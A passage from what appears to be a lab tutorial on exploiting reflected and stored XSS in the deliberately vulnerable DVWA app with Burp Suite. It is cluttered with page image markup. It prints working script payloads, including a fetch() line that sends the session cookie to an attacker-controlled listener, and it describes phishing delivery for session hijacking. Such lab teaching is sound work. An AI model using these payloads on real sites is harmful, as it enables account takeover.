data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:821,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!J6Z4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 424w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 848w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 1272w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To confirm it executes, navigate to the full URL directly in your browser:</p><pre><code>http://10.10.10.20/dvwa/vulnerabilities/xss_r/?name=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></pre><p>If the application is vulnerable, it will not display the script tag as text. </p><p>Instead, the browser will execute it and an alert dialog will pop up displaying the current session cookie. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yTKo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yTKo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 424w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 848w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 1272w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yTKo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png" width="1456" height="1125" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1125,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!yTKo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 424w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 848w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 1272w, https://substackcdn.com/image/fetch/$s_!yTKo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fecbd2bee-ed94-44b2-ad4b-133e4739a420_1600x1236.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This confirms two things: JavaScript is executing in the page, and it has access to the session cookie that identifies your logged-in session to the server.</p><div><hr></div><h4>3.3 Cookie Exfiltration</h4><p>An alert box proves the vulnerability exists, but it does not cause any real harm on its own because the cookie never leaves your machine. </p><p>In a real attack, the goal is to silently transmit that cookie to a server the attacker controls, where it can be captured and used to hijack the session. You will simulate this now.</p><p>Start a Python HTTP server on your Kali machine. This will act as your receiving server, logging any requests that come in:</p><pre><code><code>python3 -m http.server 8000</code></code></pre><p>Now modify the payload. Instead of triggering an alert, this version uses the browser&#8217;s <code>fetch</code> function to send an HTTP request to your server with the cookie attached as a URL parameter:</p><pre><code><code>&lt;script&gt;fetch('http://10.10.10.10:8000?cookie='+document.cookie)&lt;/script&gt;</code></code></pre><p>Visit the crafted URL in the browser. </p><pre><code><code>http://10.10.10.20/dvwa/vulnerabilities/xss_r/?name=&lt;script&gt;fetch('http://10.10.10.10:8000?cookie='+document.cookie)&lt;/script&gt;</code></code></pre><p>The page will load silently with no visible indication that anything happened. On your Kali machine, your Python server will log an incoming GET request with the session cookie appended to it. The cookie has been exfiltrated.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wzJt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wzJt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 424w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 848w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 1272w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wzJt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png" width="1456" height="446" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:446,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wzJt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 424w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 848w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 1272w, https://substackcdn.com/image/fetch/$s_!wzJt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d0485f9-26ba-4d59-b60a-e492ce45a9bc_1470x450.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In a real attack, an attacker would embed this payload in a link and send it to a victim through a phishing email or message. </p><p>The victim clicks the link, their browser silently fires the request in the background, and the attacker receives their session cookie. </p><p>The attacker can then load that cookie into their own browser and access the victim&#8217;s account without ever knowing their password.</p><div><hr></div><h3><strong>4. Exploit: Stored XSS</strong></h3><p>Stored XSS occurs when malicious input is saved to the server and later served to other users. Unlike Reflected XSS, no crafted link is required. </p><p>Any user who visits the page will have the script executed in their browser automatically. A single successful injection affects every subsequent visitor to that page for as long as the payload remains in the database.</p><div><hr></div><h4>4.1 Confirming the Vulnerability</h4><p>Before injecting anything malicious, you will first observe how the application handles a normal submission so you can see exactly what gets sent to the server and where your injection point is.</p><p>Navigate to <code>/dvwa/vulnerabilities/xss_s/</code>. This page presents a guestbook form with a Name field and a Message field. Submit the form with any values.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AAeR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AAeR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 424w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 848w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 1272w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AAeR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png" width="1456" height="989" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:989,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AAeR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 424w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 848w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 1272w, https://substackcdn.com/image/fetch/$s_!AAeR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F09721f01-f873-4dfd-a0f9-d16ef52f158e_1600x1087.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now open Burp&#8217;s HTTP History tab and locate the POST request that was just captured:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;cae7be66-1373-4912-9177-70f600e6219b&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
txtName=Marc&amp;mtxMessage=Testing&amp;btnSign=Sign+Guestbook</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pN6f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pN6f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 424w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 848w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 1272w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pN6f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png" width="1456" height="846" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:846,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pN6f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 424w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 848w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 1272w, https://substackcdn.com/image/fetch/$s_!pN6f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F387d2743-eb95-4fe1-adee-3d668162437b_1600x930.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The form data is broken into parameters. The one you are interested in is <code>mtxMessage</code>, which contains whatever was typed into the Message field. This is your injection point.</p><div><hr></div><h4>4.2 Script Injection</h4><p>Now that you can see how the form submits data, you will use Burp Repeater to modify the request and inject a script payload directly. </p><p>Sending the request through Repeater rather than the browser form matters here because the Message field enforces a 50-character limit on the client side. This limit exists in the browser only and has no effect on the actual request sent to the server. Repeater sends requests directly, bypassing the browser entirely, which means the character limit does not apply.</p><p>Send the captured request to Repeater by right-clicking it in HTTP History and selecting &#8220;Send to Repeater&#8221;. </p><p>Modify the <code>mtxMessage</code> parameter to inject a script payload:</p><pre><code>txtName=test&amp;mtxMessage=&lt;script&gt;alert(document.cookie)&lt;/script&gt;&amp;btnSign=Sign+Guestbook</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hCq9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hCq9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 424w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 848w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 1272w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hCq9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png" width="1456" height="815" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:815,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 